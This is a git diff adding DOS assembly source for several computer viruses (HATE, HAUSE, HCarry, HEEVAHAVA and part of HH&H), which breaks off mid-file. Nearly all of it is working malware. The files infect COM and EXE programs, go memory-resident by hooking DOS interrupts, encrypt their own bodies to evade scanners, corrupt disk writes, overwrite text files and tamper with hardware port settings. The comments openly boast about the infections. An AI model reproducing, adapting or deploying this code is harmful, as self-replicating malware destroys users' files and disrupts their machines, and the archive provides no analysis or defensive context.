; Infected Already? + cmp ah, 45h + jnz NoSigFound ; No? Then JMP. + jmp CloseFile + +NoSigFound: + mov ax, 5700h + call CallInt21 ; Get File Date/Time + push cx + push dx + and cx, 1Fh + cmp cx, 1Fh ; Infected Already? + jnz MovePtrEnd ; No? Then JMP. + pop dx + pop cx + jmp short CloseFile + +MovePtrEnd: + mov ax, 4202h + xor cx, cx + cwd + call CallInt21 ; Move Pointer to End of File + sub ax, 3 ; Calculate JMP Offset + mov JMPOffset, ax + mov ah, 40h + mov cx, CryptSize + mov dx, offset start + call CallInt21 ; Write Crypt Routine to File + mov cx, VirusSize + mov si, offset Crypted + mov di, offset EndOfVirus + mov ax, 8F20h + push es + push ax + pop es + assume es:nothing + in al, 40h ; Get Random Number + xchg al, dl + mov Cryptor, dl + +EncryptVirus: + mov al, [si] + xor al, dl + mov es:[di], al + inc si + inc di + loop EncryptVirus + mov cx, 1 + +EncryptSecond: + mov al, [si] + mov es:[di], al + inc si + inc di + loop EncryptSecond + pop es + assume es:nothing + push ds + mov ax, 8F20h + push ax + pop ds + assume ds:nothing + mov ah, 40h + mov cx, VirusSize2 + mov dx, offset EndOfVirus + call CallInt21 ; Write Encrypted Virus To File + pop ds + assume ds:seg000 + mov ax, 4200h + xor cx, cx + cwd + call CallInt21 ; Move Pointer to Beginning + mov ah, 40h + mov cl, 5 + mov dx, offset InfMarker + call CallInt21 ; Write JMP And Infection Marker + pop dx + pop cx + or cx, 1Fh + mov ax, 5701h + call CallInt21 ; Fix File Date/Time + +CloseFile: + mov ah, 3Eh + call CallInt21 ; Close File + pop ds + pop es + popa + jmp near ptr JMPFar21 + +CallInt21 proc near + pushf + call dword ptr cs:Int21Ofs + retn +CallInt21 endp + +OrgByte1 dw 2124h +OrgByte2 dw 20CDh +OrgByte3 db 0 +InfMarker dw 2124h +JMPInstruction db 0E9h +JMPOffset dw 0 +VirusName db 'THIS IS [HATE V1.0] VIRUS$' + +Cryptor db 0 +EndOfVirus: +CryptSize equ Crypted - start +VirusSize equ Cryptor - Crypted +VirusSize2 equ $ - Crypted +TotalSize equ $ - start +seg000 ends + + + end start diff --git a/h/HAUSE.ASM b/h/HAUSE.ASM new file mode 100755 index 0000000..f44483d --- /dev/null +++ b/h/HAUSE.ASM @@ -0,0 +1,325 @@ +_attr_ equ 0 +_date_ equ 2 +_time_ equ 4 + +fil equ 6 + + mov ax,4245h ;sepuku! + int 21h + jmp short jump1 + db 'DY' +dy equ $-2-100h + +_size dw offset total-100h +_ofs dw offset total + +db 'McAfee, geht nach Hause! Wir sind unberwindlich!' + +jump1: + mov ax,3521h + int 21h + mov old21[0],bx + mov old21[2],es + + mov ax,cs + dec ax + mov ds,ax + lodsb + cmp byte [0],'Z' + jne bee_bloop_blap + cmp word ptr [0003h],pgf + jc bee_bloop_blap + sub word ptr [0003h],pgf + sub word ptr [0012h],pgf + mov es,[0012h] + mov si,110h + mov di,si + sub di,10h + mov cx,total-100h + rep movsb + push es + pop ds + + cli + mov ax,2521h + mov dx,offset swansich + int 21h + sti + + jmp 100h + +bee_bloop_blap: + int 24h + int 20h + +st21 db 0 + +vier: + mov al,0 + iret + +swansich: + pushf + cmp ax,4245h + jne not_sepuku + cmp word [dy+100h],'YD' + jne not_sepuku + popf + push bp + mov bp,sp + mov ds,[bp+4] + pop bp + mov si,word _ofs + mov cx,word _size + mov di,100h + push ds + pop es + cld +bam: rep movsb + pop ax + mov ax,100h + push ax + call zero_regs + iret + +olr dw 0,0 + +not_sepuku: + cmp ah,40h + jne exec + cmp bx,5 + jb exec + + cmp cx,16 + jl exec + + call push_all + mov di,dx + add di,cx + dec di + mov al,[di] + mov bl,[di-1] + mov [di-1],al + mov [di],bl + call pop_all +exec: + cmp ax,4B00h ;exec + jne back + + cmp cs:st21,0 + jne back + + mov cs:st21,1 + + call push_all + xchg si,dx + mov di,fil + push cs + pop es + mov cx,128 + cld + rep movsb + call pop_all + + popf + + call o21 + + pushf + call push_all + + mov ax,3524h + call o21 + push bx + push es + + mov ah,25h + push ds + push cs + pop ds + push dx + mov dx,offset vier + call o21 + pop dx + pop ds + + push cs + pop ds + mov dx,fil + + mov ax,4300h + call o21 + mov cs:[_attr_],cx + mov ax,4301h + xor cx,cx + call o21 + jc err1 + + call infect + + mov ax,4301h + mov cx,cs:[_attr_] + call o21 + +err1: pop ds + pop dx + mov ax,2524h + call o21 + + mov cs:st21,0 + + call pop_all + popf + retf 2 + + +back: mov cs:st21,0 + popf +jfa: db 0EAh +old21 dw 0,0 + +o21: pushf + call dword ptr cs:[old21] + ret + +zero_regs: + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + xor si,si + xor di,di + ret + +jmp_to dw 0 + +push_all: + pop cs:[jmp_to] + push bp + push ds + push es + push di + push si + push dx + push cx + push bx + push ax + jmp cs:[jmp_to] + +pop_all: + pop cs:[jmp_to] + pop ax + pop bx + pop cx + pop dx + pop si + pop di + pop es + pop ds + pop bp + jmp cs:[jmp_to] + + + +;||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| +; infection routine +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +infect: + pushf + call push_all + + mov ax,3D02h + call o21 + jnc open + +i_back: + call pop_all + popf + ret + +open: + xchg bx,ax + + push cs + pop ds + push cs + pop es + + mov ax,5700h + call o21 + mov [_date_],dx + mov [_time_],cx + + mov ah,3Fh + mov cx,offset total-100h + mov dx,offset total + call o21 + jnc read1 +jcls1: jmp close + +read1: cmp ax,cx + jne jcls1 + + cmp word ptr [offset total],'ZM' + je jcls1 + cmp byte ptr [offset total],'Z' + je jcls1 + + cmp word ptr [offset total+dy],'YD' + je jcls1 + + mov ax,4202h + xor cx,cx + xor dx,dx + call o21 + jc jcls1 + + cmp dx,0 + jne jcls1 + cmp ah,0F1h + ja jcls1 + + add ax,100h + mov _ofs,ax + + mov ah,40h + mov dx,offset total + mov cx,offset total-100h + call o21 + + jc jcls1 + cmp ax,cx + jne jcls1 + + mov ax,4200h + xor cx,cx + xor dx,dx + call o21 + + mov ah,40h + mov cx,offset total-100h + mov dx,100h + call o21 + + and byte [_time_],255-31 + or byte [_time_],29 +close: + mov ax,5701h + mov cx,[_time_] + mov dx,[_date_] + call o21 + + mov ah,3Eh + call o21 +jcls2: jmp i_back + +db 'Demoralized Youth vous a eu' + +total: +pgf equ $/16*2 +db ' ' + + + + + \ No newline at end of file diff --git a/h/HCarry.asm b/h/HCarry.asm new file mode 100755 index 0000000..58d30f5 --- /dev/null +++ b/h/HCarry.asm @@ -0,0 +1,137 @@ +;This is the HCarry Virus +;dedicated to the late Harry Carry +;The only AV scanner that I know of that detects this virus is TBAV Scanner +start: ;start of virus! + +lea si, crypt_start +mov di,si +mov cx,end - crypt_start +call crypt + +jmp crypt_start + +xor_value db 0 + +crypt: +lodsb +xor al,byte ptr [xor_value] +stosb +loop crypt +ret + +crypt_start: +mov ah,9 ;print string to screen +lea dx,textmask +int 21h ;go do it dos! + +mov ax,0fa02 +push ax +mov bl,0 +mov dx,05945 +push dx +int 016 +push cx + +mov ah,4eh ;find first file +lea dx,filemask ;put the kind of file we want to find first in dx +xor cx,cx ;clears the cx register to 0 + +find_next: ;label for the find next rountine +int 21h ; go do it! +jnc infect ;jump if a file is found, if not continue jnc=jump +jmp text ;if carry flag isn't set + + + +infect: ;here is our infect rountine, where we go when we find a file to kill +mov ax,3d02h ; open file for read/write access (00=read + ;01=write 02=read/write) +mov dx, 9eh ;get file info +int 21h ;now!~ +mov bx,ax ;move info form bx register in ax + +in al,40h +mov byte ptr [xor_value],al + +mov ah,40h +lea dx,start +mov cx,crypt_start - start +int 21h + +lea si,crypt_start +lea di,end +mov cx,end - crypt_start +call crypt + +mov ah,40h ;40hex write to file +mov cx,end - crypt_start ; heres the length of what we want to write +lea dx,end ;and heres where to start +int 21h ; go! +mov ah,3eh ;close the file up +int 21h ;now! +mov ah,4fh ;find next file! +jmp find_next ;continue! + +text: +mov ah,4eh +lea dx,textfile +int 21h +jnc text_pload +jmp close + +text_pload: +mov ax,3d02h +mov dx,9eh +int 21h +mov ah,40h +mov cx,pload_end - pload_start +lea dx,pload_start +int 21h +jmp text_findnext + +text_findnext: +mov ah,4fh +int 21h +jnc text_pload +jmp close + +pload_start: +db 'HOLY COW!',10,13, +db '---',10,13, +db 'Whats your favorite planet?...Mines the SUN!',10,13, +db 'One time i studied it for a whole hour i almost went BLIND!',10,13, +db '---',10,13, +db 'Hey!....Whats goin.....Hey!',10,13, +db '---',10,13, +db 'Now just for some silly crap!',10,13, +db 'FLOCK!',10,13, +db 'Hehehehe Look At YOU!',10,13, +db 'Back to the Computer Store for you!',10,13, +db 'This is HORRRIBLE!' +db 'Who would do something like this?',10,13, +db 'MY LEG DOESNT BEND THAT WAY!',10,13, +db 'MOCB',10,13, +db 'This Virus has infected this file if you havnt found that out yet!',10,13, +db 'Please insert 25 cents!',10,13, +db 'DO DO DO Were Sorry your call did not go threw please hang up and try again',10,13, +db 'JERRY JERRY JERRY JERRY JERRY JERRY',10,13, +db 'Jerry Springer to HOT for Television',10,13, +db 'DOH!',10,13, +pload_end: + +close: +int 20h ;exit program + ;this next portion is the datasegment which the virus refers to for + ;the variable we give it + ;Thank you to Spo0ky,<-OPIC->,and Arsonic for helping me! + textfile db '*.txt',0 ;find .txt files + filemask db '*.com',0 ;the kinds of files we want + textmask db 'This file is now infected!',10,13, + db 'By The HCarry virus!',10,13, + db 'MoCBDUKE[Codebreaker, 1998]',10,13,'$' +end: + + + + + diff --git a/h/HEEVAHAV.ASM b/h/HEEVAHAV.ASM new file mode 100755 index 0000000..1d9e980 --- /dev/null +++ b/h/HEEVAHAV.ASM @@ -0,0 +1,296 @@ +; HEEVAHAV.ASM -- HEEVAHAVA VIRUS +; Created with Nowhere Man's Virus Creation Laboratory v1.00/TASM +; Written by URNST KOUCH +; This is a spawning virus I decided to take to the limit, +; to step on the accelerator of the VCL, so to speak. +; HEEVAHAVA virus is a 'companion' .EXE infector which will attempt +; to infect almost 20 files anywhere on the disk every run. It will mess +; with low RAM, beep the speaker, disable COM port 1, entangle LPT1 and LPT2, +; nullify print screen and finally, when the disk is completely saturated +; with HEEVAHAVA virus it will display the msg, "Only heeva-hava's get stuck +; with the HEEVAHAVA virus!" Note: a 'heevahava' is a Pennsylvania +; Dutch pejorative. Colloquially, it was the name given to the farmhand +; given the job of holding the bull's pecker while semen was collected. + +virus_type equ 2 ; Spawning Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + + mov ah,04Ah ; DOS resize memory function + mov bx,[finish - start / 0282h] ; BX holds # of para. + int 21h + + mov sp,(finish - start) + 01100h ; Change top of stack + + mov si,offset spawn_name ; SI points to true filename + int 02Eh ; DOS execution back-door + push ax ; Save return value for later + + mov ax,cs ; AX holds code segment + mov ds,ax ; Restore data segment + mov es,ax ; Restore extra segment + + mov cx,0013h ; Do 19 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + mov dx,0064h ; First argument is 100 + push es ; Save ES + mov ax,040h ; Set extra segment to 040h + mov es,ax ; (ROM BIOS) + mov word ptr es:[013h],dx ; Store new RAM ammount + pop es ; Restore ES + + mov cx,0005h ; First argument is 5 + jcxz beep_end ; Exit if there are no beeps + mov ax,0E07h ; BIOS display char., BEL +beep_loop: int 010h ; Beep + loop beep_loop ; Beep until --CX = 0 +beep_end: + + push es ; Save ES + mov ax,050h ; Set the extra segement to + mov es,ax ; the BIOS area + mov byte ptr [0000h],1 ; Set print screen flag to + pop es ; "printing," restore ES + + mov si,0001h ; First argument is 1 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl si,1 ; Convert to word index + mov word ptr [si + 03FEh],0 ; Zero COM port address + pop es ; Restore ES + + mov bx,0001h ; First argument is 1 + mov si,0002h ; Second argument is 2 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl bx,1 ; Convert to word index + shl si,1 ; Convert to word index + mov ax,word ptr [bx + 0407h]; Zero COM port address + xchg word ptr [si + 0407h],ax; Put first value in second, + mov word ptr [bx + 0407h],ax; and second value in first! + pop es ; Restore ES + + call infected_all + or ax,ax ; Did the function return zero? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end00: pop ax ; AL holds return value + mov ah,04Ch ; DOS terminate function + int 021h +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + mov dx,offset root ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + mov dx,offset up_dir ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +exe_mask db "*.EXE",0 ; Mask for all .EXE files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov di,bx ; DI points to the DTA + + lea si,[di + 01Eh] ; SI points to file name + mov dx,si ; DX points to file name, too + mov di,offset spawn_name + 1; DI points to new name + xor ah,ah ; AH holds character count +transfer_loop: lodsb ; Load a character + or al,al ; Is it a NULL? + je transfer_end ; If so then leave the loop + inc ah ; Add one to the character count + stosb ; Save the byte in the buffer + jmp short transfer_loop ; Repeat the loop +transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count + mov byte ptr [di],13 ; Make CR the final character + + mov di,dx ; DI points to file name + xor ch,ch ; + mov cl,ah ; CX holds length of filename + mov al,'.' ; AL holds char. to search for + repne scasb ; Search for a dot in the name + mov word ptr [di],'OC' ; Store "CO" as first two bytes + mov byte ptr [di + 2],'M' ; Store "M" to make "COM" + + mov byte ptr [set_carry],0 ; Assume we'll fail + mov ax,03D00h ; DOS open file function, r/o + int 021h + jnc infection_done ; File already exists, so leave + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ah,03Ch ; DOS create file function + mov cx,00100111b ; CX holds file attributes (all) + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +spawn_name db 12,12 dup (?),13 ; Name for next spawn +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +infected_all proc near +#if virus_type eq 0 + mov al,byte ptr [di + set_carry] + else + mov al,byte ptr [set_carry] ; AX holds success value +#endif + cbw ; Sign-extend AL into AX + ret ; Return to caller +infected_all endp + +data00 db 7,7,7,7,"Only heeva-hava's get stuck with THE HEEVAHAVA virus!",13,10,0 + +vcl_marker db "HEEVA[VCL]",0 ; VCL creation marker + +finish label near + +code ends + end main + diff --git a/h/HH&H.ASM b/h/HH&H.ASM new file mode 100755 index 0000000..f9e10f4 --- /dev/null +++ b/h/HH&H.ASM @@ -0,0 +1,901 @@ +CODE segment para public 'code' + assume cs:code,ds:code,es:nothing,ss:nothing + + org 100h + +egy equ 1 ; one +dma equ 0b0h +atvar equ 300 ; at paramaeter +xtvar equ 1 ; xt parameter +suruseg equ 255 ; density +idotartalek equ 18*30 ; time delay + +start: db 0e9h,0,0 +;##################### Initialization ###################### +resid: push ax + mov cx,offset memory - offset begin ;#### decoding #### + mov bx,ds:[101h] + add bx,103h+(offset begin-offset resid) +jhg1: xor byte ptr [bx],0 + inc bx + loop jhg1 + +begin: sub bx,(offset begin-offset resid)+(offset memory - offset begin) + mov cs:[0feh],bx + mov ax,[bx+(offset eltarol-offset resid)] + mov cl,[bx+(offset eltarol-offset resid)+2] + mov ds:[100h],ax + mov ds:[102h],cl + mov cx,0b800h + mov ah,15 + push bx + int 10h + pop bx + cmp al,7 + jne rety + mov ch,0b0h +rety: mov [bx+(offset ruut - offset resid)+1],cx + mov word ptr [bx+(offset counter-offset resid)],idotartalek + mov byte ptr [bx+(offset jammed-offset resid)+1],al + mov byte ptr [bx+(offset vanesik-offset resid)],0 + xor ax,ax + mov ds,ax + cmp word ptr ds:[130h],4142h + je zipp + mov ds:[130h],4142h + mov ax,cs + dec ax + mov ds,ax + mov ax,ds:[3] + sub ax,180h + mov ds:[3],ax + add ax,ds:[1] + mov es,ax + push cs + pop ds + sub word ptr ds:[2],384 + mov di,3 + mov si,bx + mov cx,(offset memory-offset resid) shr 1 +1 + cld + rep movsw + mov ax,es + sub ax,10h + mov ds,ax + mov dx,offset irq + mov ax,251ch + int 21h + mov ah,2ah + int 21h + cmp al,1 + jne zipp + dec al + out 0a0h,al + mov al,dma + out 41h,al +zipp: + mov ax,cs + mov ds,ax + mov es,ax + pop ax + push cs + mov cx,100h + push cx + mov cx,ds:[0feh] + sub cx,100h + retf +eltarol dw 20cdh +eltarol2 db 90h + +;######################### Vyrus activated ########################## +csik: mov ax,0e000h + mov ds,ax +csiky: mov ds:[0],al + inc al + jmp csiky + +;######################### propagation part ########################## + +eredeti: db 0eah ; original +int211 dw 0 +int212 dw 0 +counter dw 0 +szaporodas: cmp ah,4bh + jne eredeti + or al,al + jnz eredeti + push ax + push es + push bx + push ds + push dx + mov bx,dx +koj: inc bx + cmp byte ptr [bx],'.' + jne koj + cmp byte ptr[bx+1],'C' + jne kiugras1 + mov cs:kds,ds + mov cs:kdx,dx + mov cs:kbx,bx + call probe +kiugras1: pop dx + pop ds + pop bx + pop es + pop ax + jmp eredeti +kds dw 0 +kdx dw 0 +kbx dw 0 +kkk dw 0 +fszam dw 0 +probe: push cs + pop es + mov di,offset memory + mov si,dx + mov cx,40 + cld + rep movsw + mov bx,0ff0h + mov ah,48h + int 21h + jnc juk1 + ret + ;!!!!! memoria lefoglalva (kkk = Seg) +atr dw 0 +juk1: mov cs:kkk,ax + mov dx,offset memory + push ds + pop es + mov bx,cs:kbx + mov byte ptr [bx+1],'A' ; + call elorutin + push cs + pop ds ;DS:DX a masolt nev. + mov ax,4300h + int 21h + mov atr,cx + xor cx,cx + mov ax,4301h + int 21h + ;!!!!! Attr allitas + cmp cs:attrflag,0 + jz juk2 + mov ds,cs:kds + jmp memoff +juk2: mov di,kdx ;ES:DI a regi nev atirva + mov ah,56h + int 21h + call utorutin ;!!!!! Atnevezve + mov dx,cs:kdx + push es + pop ds + mov ax,3d02h + int 21h ;!!!!! File megnyitva + mov cs:fszam,ax + mov ds,cs:kkk + xor dx,dx + mov bx,ax + mov cx,0fc00h-(offset memory-offset resid) + mov ah,3fh + int 21h + cmp ax,0fc00h-(offset memory-offset resid) + ;!!!!! Beolvasva a program (csak a hossza miatt) + je hosszu ;zarjuk le a file-t + cmp ax,7580 + jb hosszu ;tul rovid a file + mov di,ax + + mov bx,ds:[1] + cmp word ptr [bx+3],0b950h + +;$$$$$$$$$$$$$$$$$$$$$$$$$ FUCK OFF TASM,MASM $$$$$$$$$$$$$$$$$$$$$$$$$$$ + + je hosszu + push di + mov cx,(offset memory-offset resid) + mov si,offset resid + push ds + pop es + push cs + pop ds + inc byte ptr ds:[offset jhg1 +2] + mov ax,es:[0] + mov eltarol,ax + mov al,es:[2] + mov eltarol2,al + rep movsw ;!!!!! Atmasolva (hehe) + mov al,byte ptr ds:[offset jhg1 +2] + pop di + add di,(offset begin-offset resid) + mov cx,offset memory - offset begin ;#### coding #### +jhga: xor byte ptr es:[di],al + inc di + loop jhga + sub di,(offset memory - offset resid) + push di ;Az ugrasi hely + mov bx,fszam + mov cx,offset memory - offset begin + mov dx,di + push es + pop ds + mov ah,40h + int 21h + pop di + cmp ax,offset memory - offset begin + je ghj1 +hosszu: jmp zardle +ghj1: ;!!!!! Kiirva a vege + mov byte ptr ds:[0],0e9h + sub di,3 + mov ds:[1],di + mov bx,cs:fszam + xor cx,cx + xor dx,dx + mov ax,4200h + push bx + int 21h + pop bx + mov cx,3 + xor dx,dx + mov ah,40h + int 21h +zardle: mov bx,cs:fszam + mov ah,3eh + int 21h ;!!!!! File lezarva + push cs + pop es + mov di,offset memory + mov ds,cs:kds + mov dx,cs:kdx + mov ah,56h + int 21h ;!!!!! File visszanevezve + mov bx,cs:kbx + mov byte ptr ds:[bx+1],'C' + mov ax,4301h + mov cx,cs:atr + int 21h ;!!!!! attr visszaall +memoff: mov bx,cs:kbx + mov byte ptr ds:[bx+1],'C' + push cs + pop ds + mov es,cs:kkk + mov ah,49h + int 21h ;!!!!! Memoria visszaalt + ret +it241 dw 0 +it242 dw 0 +attrflag db 0 + +elorutin: mov cs:attrflag,0 + xor ax,ax + mov ds,ax + mov ax,ds:[90h] + mov cs:it241,ax + mov ax,ds:[92h] + mov cs:it242,ax + mov ds:[90h],offset it24 + mov ds:[92h],cs + ret + +utorutin: xor ax,ax + mov ds,ax + mov ax,cs:it241 + mov ds:[90h],ax + mov ax,cs:it242 + mov ds:[92h],ax + ret +it24: mov cs:attrflag,1 + xor al,al + iret +vanesik db 0 +irq: cli + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + cmp cs:counter,0 + je sabad + dec cs:counter + jne sabad + xor ax,ax + mov ds,ax + mov ax,ds:[84h] + mov cs:int211,ax + mov ax,ds:[86h] + mov cs:int212,ax + mov ds:[84h],offset szaporodas + mov ds:[86h],cs +sabad: cmp cs:vanesik,0 + je keress + call idovan + jmp jumper +keress: call ruut +jumper: pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + iret + +idovan: xor ah,ah + int 1ah + and dx,suruseg + jne rutyi + call action +rutyi: ret + + +ruut: mov ax,0b800h + mov es,ax + mov di,cs:did + mov cx,512 + cld +poke: jcxz huy + mov al,'E' + repnz scasb + jz talalt +huy: cmp di,4095 + jb kisebb + mov cs:did,0 + ret +kisebb: add cs:did,512 + ret +did dw 0 +talalt: test di,1 + jz poke + mov dl,es:[di+1] + mov dh,es:[di+3] + or dx,2020h + cmp dx,6973h ;'is' + jne poke + mov bl,es:[di+5] + or bl,20h + cmp bl,'k' + jne poke + mov cs:vanesik,1 + jmp huy +action: mov ax,cs + mov ds,ax + mov es,ax + mov vanesik,0 + mov pontszam,1 + mov si,offset zizi + mov di,offset novi + cld + mov cx,6 + rep movsw + call zoldseg +jammed: mov ax,3 + int 10h + cmp counterr,atvar + jne fdr + push cs + pop es + lea bx,mess + mov ax,1301h + mov bx,1 + xor dx,dx + mov cx,offset drt-offset mess + int 10h +fdr: ret + +counterr dw 0 +zoldseg: cli + mov di,offset memory + xor ax,ax + cld + mov cx,200*3 + rep stosw + mov ah,0c0h + mov si,3333h + int 15h + cmp si,3333h + mov ax,xtvar + je xt + mov ax,atvar +xt: mov counterr,ax + mov ax,3502h + int 21h + cmp bx,0e9eh + jne ibm + call init1 + mov pontm,100 + mov port,22h + jmp entry +ibm: ;Ibm bulik + mov pontm,200 + mov al,70h + mov port,60h ;% + mov ah,15 + int 10h + cmp al,7 + jne cga + call init3 + jmp entry +cga: call init2 + jmp entry +port dw 22h +pontm dw 100 + +init1: mov ax,200h + mov es,ax + xor di,di + mov cx,4000h + cld + xor ax,ax + rep stosw + mov plotdw,offset plot + mov unplotdw,offset unplot + ret +init2: mov ax,0b800h + mov es,ax + mov ax,6 + int 10h + mov plotdw,offset plotcga + mov unplotdw,offset unplotcga + ret +init3: mov ax,0b000h + mov es,ax + call prog + mov plotdw,offset plotherc + mov unplotdw,offset unplotcga + ret +prog: mov dx,3bfh + mov al,3 + out dx,al + mov al,28h + mov dx,3b8h + out dx,al + mov ah,0 + mov cx,12 + lea bx,ports +lopi1: mov dx,03b4h + mov al,ah + out dx,al + inc ah + mov dx,03b5h + mov al,[bx] + out dx,al + inc bx + loop lopi1 + + mov dx,3bfh + mov al,3 + out dx,al + mov dx,3b8h + mov al,0ah + out dx,al + xor di,di + mov cx,4000h + xor ax,ax + cld + rep stosw + ret + +ports db 35h,2dh,2eh,7,5bh,2,57h,57h,2,3,0,0 + +;**************************** Forgatorutin ************************************ + + even +sina dw 0 +cosa dw 0 ;si-t meghagyja +sinb dw 0 +cosb dw 0 +pontszam dw 1 +transzform: ;be: di=X, bx=Y, cx=Z, SINA,COSA,SINB,COSB +; add bx,ytol ;ez itt jolesz + shl di,1 + shl bx,1 ;X es Y elokeszitese a szorzashoz + mov ax,di + imul cosa + mov bp,dx + mov ax,bx + imul sina + add bp,dx ; bp=X' = cosa*X + sina*Y + mov ax,bx + imul cosa + mov bx,dx + mov ax,di + imul sina + sub bx,dx ; bx=Y' = cosa*X - sina*Y + shl bp,1 + shl cx,1 ;X' es Z elokeszitese + mov ax,bp + imul cosb + mov di,dx + mov ax,cx + imul sinb + sub di,dx ; di=X'' = cosb*X' - sinb*Z + mov cx,di + mov ax,bx + ret + +comment @ + mov ax,cx + imul cosb + mov cx,dx + mov ax,bp + imul sinb + add cx,dx ; cx=Z'' = cosb*Z = sinb*X' + + ; out: di=X'' bx=Y'' cx=Z'' + mov dx,keptav +;****************************** PERSPEKTIVA ********************************** + mov ax,di + shl ax,1 + imul tavol + mov cx,dx + mov ax,bx + shl ax,1 + imul tavol + mov ax,dx + ret ; ki : CX=X' AX=Y' + +@ + +plotherc: ; al=y cx=x + xor ah,ah + mov dx,ax + shr dx,1 + add ax,dx + mov dx,cx + mov cl,al + and cl,3 + shr ax,1 + shr al,1 + mov di,2000h + shl di,cl + mov cl,90 + mul cl + add di,ax + mov ax,dx + mov cx,dx + jmp ezisi +plotcga: xor di,di + shr ax,1 + jnc tryp + mov di,2000h +tryp: mov dl,80 + mul dl + add di,ax + mov ax,cx +ezisi: shr ax,1 + shr ax,1 + shr ax,1 + add di,ax + and cl,7 + mov al,128 + shr al,cl + or es:[di],al + jmp ezis1 + +unplotcga: mov al,[bx] + mov di,[bx+1] + xor al,255 + and es:[di],al + ret + +plot: ;AL = y koord. cx = x koord. + mov dl,160 + mul dl + mov di,ax + mov ax,cx + shr ax,1 + shr ax,1 + add di,ax + and di,-2 + and cl,7 + mov al,128 + shr al,cl + or es:[di+egy],al +ezis1: mov [bx],al + inc bx + mov [bx],di + add bx,2 + ret +unplot: mov al,[bx] + mov di,[bx+1] + xor al,255 + and es:[di+egy],al + ret +kezdfazisrajz: mov bx,offset memory + mov si,offset gombdata + mov cx,pontszam +ck1: push cx + lodsw + mov cx,ax + shl cx,1 + add cx,320 + lodsw + add si,2 + add ax,50 + call word ptr [plotdw] + pop cx + loop ck1 + ret +indy db 0 + +fazisrajz: mov bx,offset memory + mov si,offset gombdata + mov cx,pontszam + mov indy,1 +ck12: push cx + call word ptr [unplotdw] + push bx + lodsw + mov di,ax + lodsw + mov bx,ax + lodsw + mov cx,ax + call transzform + pop bx + add ax,50 + mov di,bxpo + add al,[di] + shl cx,1 + add cx,bxpo2 + cmp indy,0 + je ruty + mov indy,0 + cmp karal2,0 + jne ruty + push cx + push ax + inc cx + call word ptr [plotdw] + pop ax + pop cx + sub bx,3 +ruty: call word ptr [plotdw] + pop cx + loop ck12 + ret + +novpont: mov ax,pontm + 